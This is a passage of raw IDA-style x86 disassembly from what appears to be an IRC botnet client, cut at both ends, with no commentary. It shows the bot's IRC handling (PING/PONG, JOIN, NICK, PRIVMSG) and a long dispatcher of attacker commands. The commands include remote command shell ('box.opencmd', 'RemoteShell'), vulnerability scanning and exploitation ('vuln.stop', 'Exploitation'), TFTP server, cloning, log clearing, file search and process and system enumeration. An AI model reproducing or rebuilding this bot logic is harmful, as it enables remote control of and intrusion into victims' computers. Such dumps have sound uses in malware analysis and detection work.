[ebp-0A94h] push esi push eax call sub_413710 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C4h] push eax call sub_413710 lea eax, [ebp-0C4h] push offset dword_428DB8 push eax call sub_413668 add esp, 20h loc_40A4E1: ; CODE XREF: .nsp0:0040A4AAj push esi push offset aPing ; "PING" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A532 push dword ptr [ebp-90h] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_40A5D6 push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB add esp, 10h jmp loc_40A5D6 ; --------------------------------------------------------------------------- loc_40A532: ; CODE XREF: .nsp0:0040A4F0j mov esi, [ebp-90h] push esi push offset a001 ; "001" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F965 push esi push offset a005 ; "005" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F965 push esi push offset a302 ; "302" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A59D push offset a@_6 ; "@" push dword ptr [ebp-88h] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz short loc_40A5D6 inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_413710 add esp, 0Ch jmp short loc_40A5D6 ; --------------------------------------------------------------------------- loc_40A59D: ; CODE XREF: .nsp0:0040A571j push esi push offset a433 ; "433" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A5DD push ebx push dword_4620BC push dword_425B74 push dword ptr [ebp+18h] call sub_4110D8 push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB add esp, 1Ch loc_40A5D6: ; CODE XREF: .nsp0:0040A511j ; .nsp0:0040A52Dj ... mov eax, edi jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40A5DD: ; CODE XREF: .nsp0:0040A5ACj mov esi, [ebp+20h] mov dword ptr [ebp-0A4h], 2 mov edi, 80h loc_40A5EF: ; CODE XREF: .nsp0:0040A614j lea eax, [ebp-0A94h] push eax push esi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A60C mov dword ptr [ebp-0A8h], 1 loc_40A60C: ; CODE XREF: .nsp0:0040A600j add esi, edi dec dword ptr [ebp-0A4h] jnz short loc_40A5EF mov esi, [ebp-90h] push esi push offset aKick ; "KICK" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A703 mov esi, [ebp+20h] mov dword ptr [ebp+2Ch], 2 loc_40A63B: ; CODE XREF: .nsp0:0040A6C8j cmp [esi], bl jz loc_40A6C3 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_413710 lea eax, [ebp-0C4h] add esp, 0Ch test eax, eax jz short loc_40A6C3 cmp [ebp-88h], ebx jz short loc_40A6C3 push dword ptr [ebp-88h] lea eax, [ebp-0C4h] push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A6C3 lea eax, [ebp-0C4h] mov [esi], bl push eax lea eax, [ebp-2C8h] push offset dword_42FC54 push eax call sub_411EEE lea eax, [ebp-2C8h] push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB lea eax, [ebp-2C8h] push eax call sub_408E17 add esp, 20h loc_40A6C3: ; CODE XREF: .nsp0:0040A63Dj ; .nsp0:0040A65Dj ... add esi, edi dec dword ptr [ebp+2Ch] jnz loc_40A63B push dword ptr [ebp-88h] push dword ptr [ebp+18h] call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A7B4 push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40A6F6: ; CODE XREF: .nsp0:0040A935j ; .nsp0:0040AC01j push dword ptr [ebp+0Ch] call sub_40F9AB jmp loc_40F21B ; --------------------------------------------------------------------------- loc_40A703: ; CODE XREF: .nsp0:0040A62Bj push esi push offset aNick ; "NICK" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A849 mov eax, [ebp-8Ch] mov esi, [ebp+20h] inc eax mov dword ptr [ebp+8], 2 mov [ebp+2Ch], eax loc_40A72C: ; CODE XREF: .nsp0:0040A77Ej lea eax, [ebp-0A94h] push eax push esi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A779 lea eax, [ebp-0A94h] push 21h push eax call sub_414140 pop ecx cmp eax, ebx pop ecx mov [ebp+24h], eax jz short loc_40A779 push dword ptr [ebp+2Ch] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_412600 push dword ptr [ebp+24h] push edi call sub_412610 add esp, 10h mov edi, 80h loc_40A779: ; CODE XREF: .nsp0:0040A73Dj ; .nsp0:0040A754j add esi, edi dec dword ptr [ebp+8] jnz short loc_40A72C lea eax, [ebp-0C4h] test eax, eax jz short loc_40A7B4 cmp [ebp+2Ch], ebx jz short loc_40A7B4 push dword ptr [ebp+18h] lea eax, [ebp-0C4h] push eax call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A7BC push 0Fh push dword ptr [ebp+2Ch] push dword ptr [ebp+18h] call sub_413710 add esp, 0Ch loc_40A7B4: ; CODE XREF: .nsp0:0040A394j ; .nsp0:0040A42Aj ... push 1 loc_40A7B6: ; CODE XREF: .nsp0:0040F4DCj pop eax loc_40A7B7: ; CODE XREF: .nsp0:0040A5D8j ; .nsp0:0040C0B2j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: .nsp0:0040A7A2j mov edi, [ebp+20h] xor esi, esi loc_40A7C1: ; CODE XREF: .nsp0:0040A7E2j cmp [edi], bl jz short loc_40A7D8 lea eax, [ebp-0A94h] push eax push edi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40A7E6 loc_40A7D8: ; CODE XREF: .nsp0:0040A7C3j inc esi add edi, 80h cmp esi, 2 jl short loc_40A7C1 jmp short loc_40A7B4 ; --------------------------------------------------------------------------- loc_40A7E6: ; CODE XREF: .nsp0:0040A7D6j lea eax, [ebp-0A94h] push 21h push eax call sub_414140 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_40A7B4 push eax call sub_4126F0 push dword ptr [ebp+2Ch] mov edi, eax call sub_4126F0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_40A7B4 push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS_1 ; ":%s%s" push esi call sub_411EEE push ebx lea eax, [ebp-4ACh] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 24h jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40A849: ; CODE XREF: .nsp0:0040A712j push esi push offset aPart ; "PART" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40A86B push esi push offset aQuit ; "QUIT" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A892 loc_40A86B: ; CODE XREF: .nsp0:0040A858j mov edi, [ebp+20h] xor esi, esi loc_40A870: ; CODE XREF: .nsp0:0040A890j cmp [edi], bl jz short loc_40A886 push dword ptr [ebp-94h] push edi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40A8D9 loc_40A886: ; CODE XREF: .nsp0:0040A872j inc esi add edi, 80h cmp esi, 2 jl short loc_40A870 loc_40A892: ; CODE XREF: .nsp0:0040A869j push dword ptr [ebp-90h] push offset a353 ; "353" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A93A push dword ptr [ebp-84h] push dword ptr [ebp+10h] call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40A8C9 mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_40A8C9: ; CODE XREF: .nsp0:0040A8BEj push dword ptr [ebp-84h] push offset dword_42FBF4 jmp loc_40F959 ; --------------------------------------------------------------------------- loc_40A8D9: ; CODE XREF: .nsp0:0040A884j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset dword_42FBC0 push eax call sub_411EEE lea eax, [ebp-2C8h] push eax call sub_408E17 push dword ptr [ebp-90h] push offset aPart ; "PART" call sub_412310 add esp, 18h test eax, eax jnz loc_40A7B4 lea eax, [ebp-2C8h] push eax mov eax, [ebp-94h] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40A6F6 ; --------------------------------------------------------------------------- loc_40A93A: ; CODE XREF: .nsp0:0040A8A6j push dword ptr [ebp-90h] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_412310 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40A98E push dword ptr [ebp-90h] push edi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40A98E push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40F7D2 cmp dword_425B64, ebx jz loc_40F7D2 loc_40A98E: ; CODE XREF: .nsp0:0040A954j ; .nsp0:0040A966j push dword ptr [ebp-90h] push esi call sub_412310 pop ecx test eax, eax pop ecx jz loc_40AA94 push dword ptr [ebp-90h] push edi call sub_412310 pop ecx test eax, eax pop ecx jz loc_40AA94 mov eax, [ebp-88h] inc dword ptr [ebp-84h] push 4 mov [ebp-8Ch], eax pop esi mov [ebp-0ACh], esi loc_40A9D5: ; CODE XREF: .nsp0:0040AB50j ; .nsp0:0040ABD6j ... shl esi, 2 mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, byte_425B6C mov [ebp+14h], edi jnz loc_40A7B4 push edi push offset aNewshit ; "newshit" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F7DA push edi push offset dword_42FBA0 call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F7DA cmp [ebp-0A8h], ebx jnz short loc_40AA48 push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40F7D2 loc_40AA48: ; CODE XREF: .nsp0:0040AA2Cj cmp [ebp+30h], ebx jnz loc_40F7D2 cmp dword_428178, ebx mov [ebp+10h], ebx jle loc_40AD74 mov dword ptr [ebp+28h], offset dword_437ED8 loc_40AA67: ; CODE XREF: .nsp0:0040AA8Dj push edi push dword ptr [ebp+28h] call sub_412310 pop ecx test eax, eax pop ecx jz loc_40AC06 inc dword ptr [ebp+10h] add dword ptr [ebp+28h], 0B8h mov eax, [ebp+10h] cmp eax, dword_428178 jl short loc_40AA67 jmp loc_40AD74 ; --------------------------------------------------------------------------- loc_40AA94: ; CODE XREF: .nsp0:0040A99Ej ; .nsp0:0040A9B4j push dword ptr [ebp-90h] push edi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40AAAD mov dword ptr [ebp-4], 1 loc_40AAAD: ; CODE XREF: .nsp0:0040AAA4j cmp [ebp-8Ch], ebx jz loc_40A7B4 push (offset loc_420927+1) push dword ptr [ebp-8Ch] call sub_4124C0 pop ecx test eax, eax pop ecx jz short loc_40AAD4 cmp [ebp-4], ebx jz short loc_40AAE0 loc_40AAD4: ; CODE XREF: .nsp0:0040AACDj lea eax, [ebp-0C4h] mov [ebp-8Ch], eax loc_40AAE0: ; CODE XREF: .nsp0:0040AAD2j cmp [ebp-88h], ebx jz loc_40A7B4 inc dword ptr [ebp-88h] jz short loc_40AB2C cmp [ebp+18h], ebx jz short loc_40AB2C lea eax, [ebp-564h] push eax call sub_4126F0 push eax lea eax, [ebp-564h] push dword ptr [ebp-88h] push eax call sub_4138A0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp-0ACh], esi jmp short loc_40AB32 ; --------------------------------------------------------------------------- loc_40AB2C: ; CODE XREF: .nsp0:0040AAF2j ; .nsp0:0040AAF7j mov esi, [ebp-0ACh] loc_40AB32: ; CODE XREF: .nsp0:0040AB2Aj mov edi, [ebp+esi*4-94h] cmp edi, ebx jz loc_40A7B4 push edi push offset dword_42FB94 call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A9D5 mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz short loc_40ABC7 mov eax, dword_4620CC mov eax, off_425C20[eax*4] cmp [eax], bl jz short loc_40ABC7 push eax push ecx push offset dword_42FB78 push dword ptr [ebp+0Ch] call sub_40F9AB lea eax, [ebp-0C4h] push eax lea eax, [ebp-2C8h] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_411EEE lea eax, [ebp-2C8h] push eax call sub_408E17 add esp, 20h cmp [ebp-0A8h], ebx jnz loc_40A7B4 push ebx lea eax, [ebp-2C8h] push 1 push eax push offset dword_461FD4 jmp loc_40F07B ; --------------------------------------------------------------------------- loc_40ABC7: ; CODE XREF: .nsp0:0040AB5Fj ; .nsp0:0040AB6Fj push edi push offset dword_42FB54 call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40A9D5 mov eax, [ebp+esi*4-90h] cmp eax, ebx jz loc_40A9D5 mov ecx, [ebp-8Ch] cmp byte ptr [ecx], 23h jz loc_40A9D5 push eax push ecx push offset dword_42FB3C jmp loc_40A6F6 ; --------------------------------------------------------------------------- loc_40AC06: ; CODE XREF: .nsp0:0040AA74j push offset asc_42FCC8 ; " :" push dword ptr [ebp+8] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz loc_40A7B4 mov edi, [ebp+10h] mov cl, byte_425B6C imul edi, 0B8h mov [eax+2], cl mov cl, byte_425B6C mov [eax+3], cl lea ecx, dword_437EF0[edi] push 9Fh add eax, 4 push ecx push eax call sub_413710 lea eax, [ebp+esi-54h] add esp, 0Ch mov dword ptr [ebp+10h], 0Fh mov [ebp+28h], eax loc_40AC5E: ; CODE XREF: .nsp0:0040AD06j push dword ptr [ebp+10h] lea eax, [ebp-0A0h] push offset aD_1 ; "$%d-" push eax call sub_411EEE lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4124C0 add esp, 14h test eax, eax jz short loc_40ACCA mov eax, [ebp+28h] cmp [eax], ebx jz short loc_40ACCA lea eax, dword_437ED8[edi] push eax call sub_4126F0 add [ebp-0Ch], eax pop ecx jz short loc_40ACFC mov eax, [ebp+28h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz short loc_40ACFC push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_40787E add esp, 0Ch jmp short loc_40ACFC ; --------------------------------------------------------------------------- loc_40ACCA: ; CODE XREF: .nsp0:0040AC86j ; .nsp0:0040AC8Dj mov eax, [ebp+28h] cmp [eax], ebx jnz short loc_40ACFC lea eax, [ebp-0A0h] push 2 push eax lea eax, [ebp-14h] push eax call sub_413710 lea eax, [ebp-14h] mov [ebp-12h], bl push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_40787E add esp, 18h loc_40ACFC: ; CODE XREF: .nsp0:0040AC9Fj ; .nsp0:0040ACB3j ... dec dword ptr [ebp+10h] sub dword ptr [ebp+28h], 4 cmp [ebp+10h], ebx jg loc_40AC5E lea eax, [ebp+esi-54h] mov dword ptr [ebp+10h], 10h mov edi, eax loc_40AD19: ; CODE XREF: .nsp0:0040AD65j push dword ptr [ebp+10h] lea eax, [ebp-0A0h] push offset aD_0 ; "$%d" push eax call sub_411EEE lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4124C0 add esp, 14h test eax, eax jz short loc_40AD5C mov eax, [edi] cmp eax, ebx jz short loc_40AD5C push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_40787E add esp, 0Ch loc_40AD5C: ; CODE XREF: .nsp0:0040AD41j ; .nsp0:0040AD47j dec dword ptr [ebp+10h] sub edi, 4 cmp [ebp+10h], ebx jg short loc_40AD19 mov edi, [ebp+14h] mov dword ptr [ebp-0C8h], 1 loc_40AD74: ; CODE XREF: .nsp0:0040AA5Aj ; .nsp0:0040AA8Fj mov al, [edi] cmp al, byte_425B6C jz short loc_40AD8A cmp [ebp-0C8h], ebx jz loc_40AF6F loc_40AD8A: ; CODE XREF: .nsp0:0040AD7Cj push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe_0 ; "$me" push edi call sub_40787E lea eax, [ebp-0C4h] push eax push offset aUser_2 ; "$user" push edi call sub_40787E push dword ptr [ebp-8Ch] push offset aChan ; "$chan" push edi call sub_40787E push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_4110D8 push eax push offset aRndnick ; "$rndnick" push edi call sub_40787E add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_2 ; "$server" push edi call sub_40787E mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_4124C0 add esp, 14h loc_40ADFC: ; CODE XREF: .nsp0:0040AEE8j test eax, eax jz loc_40AEED push edi push dword ptr [ebp+8] call sub_4124C0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A0h] push eax call sub_413710 lea eax, [ebp-0A0h] push offset asc_42FAFC ; ")" push eax call sub_413668 add esp, 1Ch cmp byte ptr [ebp-0A0h], 30h jl short loc_40AE48 cmp byte ptr [ebp-0A0h], 39h jle short loc_40AE5E loc_40AE48: ; CODE XREF: .nsp0:0040AE3Dj push 3 lea eax, [ebp-0A0h] push offset a63 ; "63" push eax call sub_413710 add esp, 0Ch loc_40AE5E: ; CODE XREF: .nsp0:0040AE46j lea eax, [ebp-0A0h] push eax call sub_41245F test eax, eax pop ecx jle short loc_40AE81 lea eax, [ebp-0A0h] push eax call sub_41245F pop ecx mov [ebp-14h], al jmp short loc_40AE92 ; --------------------------------------------------------------------------- loc_40AE81: ; CODE XREF: .nsp0:0040AE6Dj call sub_411F4A push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-14h], dl loc_40AE92: ; CODE XREF: .nsp0:0040AE7Fj lea eax, [ebp-0A0h] mov [ebp-13h], bl push eax call sub_4126F0 mov [ebp+10h], eax push 0Ch lea eax, [ebp-0A0h] push ebx push eax call sub_411F70 mov eax, [ebp+10h] add eax, 6 push eax lea eax, [ebp-0A0h] push dword ptr [ebp+18h] push eax call sub_413710 lea eax, [ebp-14h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_40787E push edi push dword ptr [ebp+8] call sub_4124C0 add esp, 30h jmp loc_40ADFC ; --------------------------------------------------------------------------- loc_40AEED: ; CODE XREF: .nsp0:0040ADFEj mov edi, 1FFh lea eax, [ebp-0F9Ch] push edi push dword ptr [ebp+8] push eax call sub_413710 lea eax, [ebp-0F9Ch] push edi push eax lea eax, [ebp-119Ch] push eax call sub_413710 lea eax, [ebp-119Ch] push offset asc_421F4C ; " " push eax call sub_413668 add esp, 20h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp+18h], 1Fh loc_40AF3D: ; CODE XREF: .nsp0:0040AF52j push offset asc_421F4C ; " " push ebx call sub_413668 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_40AF3D mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] cmp ecx, ebx jz loc_40A7B4 add ecx, 3 mov [eax], ecx loc_40AF6F: ; CODE XREF: .nsp0:0040AD84j mov edi, [ebp+esi-94h] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+18h], edi call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F785 push edi push offset aEnz_rn ; "enz.rn" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F785 push edi push offset aEnz_endsess ; "enz.endsess" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F763 push edi push offset aEnz_d ; "enz.d" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F763 push edi push offset aEnz_logout ; "enz.logout" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F69A push edi push offset aEnz_lo ; "enz.lo" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F69A push edi push offset aEnz_version ; "enz.version" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F67C push edi push offset aEnz_ver ; "enz.ver" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F67C push edi push offset aLockdown_on ; "lockdown.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F57E push edi push offset aLd_on ; "ld.on" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F57E push edi push offset aLockdown_off ; "lockdown.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F57E push edi push offset aLd_off ; "ld.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F57E push edi push offset aServer_rlogin_ ; "server.rlogin.off" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B09E push dword ptr [ebp+esi-90h] push 6 push offset aServer ; "Server" push offset dword_42FA50 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B09E: ; CODE XREF: .nsp0:0040B084j push edi push offset dword_42FA40 call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B0C7 push dword ptr [ebp+esi-90h] push 3 push offset aServer ; "Server" push offset dword_42FA34 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B0C7: ; CODE XREF: .nsp0:0040B0ADj push edi push offset dword_42FA2C call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B0F0 push dword ptr [ebp+esi-90h] push 1Ch push offset dword_42FA20 push offset dword_42FA14 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B0F0: ; CODE XREF: .nsp0:0040B0D6j push edi push offset aServer_redirec ; "server.redirect.off" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B119 push dword ptr [ebp+esi-90h] push 10h push offset dword_42F9F0 push offset dword_42F9E0 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B119: ; CODE XREF: .nsp0:0040B0FFj push edi push offset dword_42F9D4 call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B142 push dword ptr [ebp+esi-90h] push 0Ah push offset dword_42F9C8 push offset dword_42F9BC jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B142: ; CODE XREF: .nsp0:0040B128j push edi push offset dword_42F9AC call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B16B push dword ptr [ebp+esi-90h] push 0Bh push offset dword_42F9A0 push offset dword_42F994 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B16B: ; CODE XREF: .nsp0:0040B151j push edi push offset dword_42F984 call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B194 push dword ptr [ebp+esi-90h] push 0Fh push offset dword_42F978 push offset dword_42F96C jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B194: ; CODE XREF: .nsp0:0040B17Aj push edi push offset dword_42F95C call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B1BD push dword ptr [ebp+esi-90h] push 0Eh push offset dword_42F950 push offset dword_42F944 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B1BD: ; CODE XREF: .nsp0:0040B1A3j push edi push offset aServer_tftp_of ; "server.tftp.off" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B1E6 push dword ptr [ebp+esi-90h] push 4 push offset aServer ; "Server" push offset dword_42F928 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B1E6: ; CODE XREF: .nsp0:0040B1CCj push edi push offset aBox_findfile_o ; "box.findfile.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F54F push edi push offset aBox_ff_off ; "box.ff.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F54F push edi push offset aBox_procs_off ; "box.procs.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F53A push edi push offset aBox_ps_off ; "box.ps.off" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F53A push edi push offset aClone_off ; "clone.off" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B263 push dword ptr [ebp+esi-90h] push 17h push offset aClone ; "Clone" push offset dword_42F8C8 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B263: ; CODE XREF: .nsp0:0040B249j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B28C push dword ptr [ebp+esi-90h] push 19h push offset aSecure_0 ; "Secure" push offset dword_42F8A0 jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B28C: ; CODE XREF: .nsp0:0040B272j push edi push offset aVuln_stop ; "vuln.stop" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B2B5 push dword ptr [ebp+esi-90h] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40F562 ; --------------------------------------------------------------------------- loc_40B2B5: ; CODE XREF: .nsp0:0040B29Bj push edi push offset aVuln_stats ; "vuln.stats" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F524 push edi push offset aVuln_st ; "vuln.st" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F524 push edi push offset aEnz_reh4sh ; "enz.reh4sh" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F503 push edi push offset aEnz_rh4 ; "enz.rh4" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F503 push edi push offset aEnz_endt3rm ; "enz.endt3rm" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F4E1 push edi push offset aEnz_et3 ; "enz.et3" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F4E1 push edi push offset aEnz_t3rm1nate ; "enz.t3rm1nate" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F499 push edi push offset aEnz_t3rm1 ; "enz.t3rm1" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F499 push edi push offset aEnz_status ; "enz.status" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F45B push edi push offset aEnz_s ; "enz.s" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F45B push edi push offset aEnz_id ; "enz.id" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F424 push edi push offset aEnz_i ; "enz.i" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F424 push edi push offset aBox_rebewt ; "box.rebewt" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B403 call sub_407CC7 test eax, eax mov eax, offset dword_42F7C4 jnz short loc_40B3D5 mov eax, offset dword_42F78C loc_40B3D5: ; CODE XREF: .nsp0:0040B3CEj push eax lea eax, [ebp-2C8h] push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 1Ch jmp loc_40F75B ; --------------------------------------------------------------------------- loc_40B403: ; CODE XREF: .nsp0:0040B3C0j push edi push offset aThreads_list ; "threads.list" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F333 push edi push offset aThreads_l ; "threads.l" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F333 push edi push offset aEnz_aliases ; "enz.aliases" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F313 push edi push offset aEnz_al ; "enz.al" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F313 push edi push offset aEnz_log ; "enz.log" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F223 push edi push offset aEnz_lg ; "enz.lg" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F223 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F207 push edi push offset aUtil_clg ; "util.clg" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F207 push edi push offset aBox_netinfo ; "box.netinfo" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F1D0 push edi push offset aBox_ni ; "box.ni" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F1D0 push edi push offset aBox_sysinfo ; "box.sysinfo" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F1A5 push edi push offset aSi ; "si" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F1A5 push edi push offset aEnz_beg0ne ; "enz.beg0ne`" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F16B push edi push offset aR0i0m ; "r0i0m`" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F16B push edi push offset aBox_procs ; "box.procs" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F057 push edi push offset aBox_ps ; "box.ps" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40F057 push edi push offset aBox_uptime ; "box.uptime" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EFD3 push edi push offset aBox_up ; "box.up" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EFD3 push edi push offset aBox_driveinfo ; "box.driveinfo" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EFB6 push edi push offset aBox_drv ; "box.drv" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EFB6 push edi push offset aBox_testdlls ; "box.testdlls" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF9D push edi push offset aBox_dll ; "box.dll" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF9D push edi push offset aBox_opencmd ; "box.opencmd" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF56 push edi push offset aBox_ocmd ; "box.ocmd" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40EF56 push edi push offset aBox_ocmd_off ; "box.ocmd.off" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40B624 push dword ptr [ebp+esi-90h] push 7 push offset aRemoteShell ; 